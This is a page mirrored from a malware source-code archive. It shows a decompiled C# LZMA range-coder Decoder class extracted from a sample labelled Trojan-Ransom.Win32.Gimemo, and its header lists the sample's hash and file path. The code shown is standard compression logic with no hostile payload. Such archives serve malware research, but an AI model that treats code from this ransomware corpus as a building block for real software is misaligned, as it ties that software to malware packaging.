mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
f2ac1ece55
add
96 lines
2.5 KiB
C#
96 lines
2.5 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SevenZip.Compression.RangeCoder.Decoder
|
|
// Assembly: P4CTEMP, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 7BE4E538-8555-4C2E-974B-99E556F5462C
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Ransom.Win32.Gimemo.ayt-624a52079bf1703bcd3bcc9d2d3716b6126fd05655e25289d19142f9aae02eb5.exe
|
|
|
|
using System.IO;
|
|
|
|
namespace SevenZip.Compression.RangeCoder
|
|
{
|
|
internal class Decoder
|
|
{
|
|
public const uint kTopValue = 16777216;
|
|
public uint Range;
|
|
public uint Code;
|
|
public Stream Stream;
|
|
|
|
public void Init(Stream stream)
|
|
{
|
|
this.Stream = stream;
|
|
this.Code = 0U;
|
|
this.Range = uint.MaxValue;
|
|
for (int index = 0; index < 5; ++index)
|
|
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
|
}
|
|
|
|
public void ReleaseStream() => this.Stream = (Stream) null;
|
|
|
|
public void CloseStream() => this.Stream.Close();
|
|
|
|
public void Normalize()
|
|
{
|
|
for (; this.Range < 16777216U; this.Range <<= 8)
|
|
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
|
}
|
|
|
|
public void Normalize2()
|
|
{
|
|
if (this.Range >= 16777216U)
|
|
return;
|
|
this.Code = this.Code << 8 | (uint) (byte) this.Stream.ReadByte();
|
|
this.Range <<= 8;
|
|
}
|
|
|
|
public uint GetThreshold(uint total) => this.Code / (this.Range /= total);
|
|
|
|
public void Decode(uint start, uint size, uint total)
|
|
{
|
|
this.Code -= start * this.Range;
|
|
this.Range *= size;
|
|
this.Normalize();
|
|
}
|
|
|
|
public uint DecodeDirectBits(int numTotalBits)
|
|
{
|
|
uint range = this.Range;
|
|
uint num1 = this.Code;
|
|
uint num2 = 0;
|
|
for (int index = numTotalBits; index > 0; --index)
|
|
{
|
|
range >>= 1;
|
|
uint num3 = num1 - range >> 31;
|
|
num1 -= range & num3 - 1U;
|
|
num2 = (uint) ((int) num2 << 1 | 1 - (int) num3);
|
|
if (range < 16777216U)
|
|
{
|
|
num1 = num1 << 8 | (uint) (byte) this.Stream.ReadByte();
|
|
range <<= 8;
|
|
}
|
|
}
|
|
this.Range = range;
|
|
this.Code = num1;
|
|
return num2;
|
|
}
|
|
|
|
public uint DecodeBit(uint size0, int numTotalBits)
|
|
{
|
|
uint num1 = (this.Range >> numTotalBits) * size0;
|
|
uint num2;
|
|
if (this.Code < num1)
|
|
{
|
|
num2 = 0U;
|
|
this.Range = num1;
|
|
}
|
|
else
|
|
{
|
|
num2 = 1U;
|
|
this.Code -= num1;
|
|
this.Range -= num1;
|
|
}
|
|
this.Normalize();
|
|
return num2;
|
|
}
|
|
}
|
|
}
|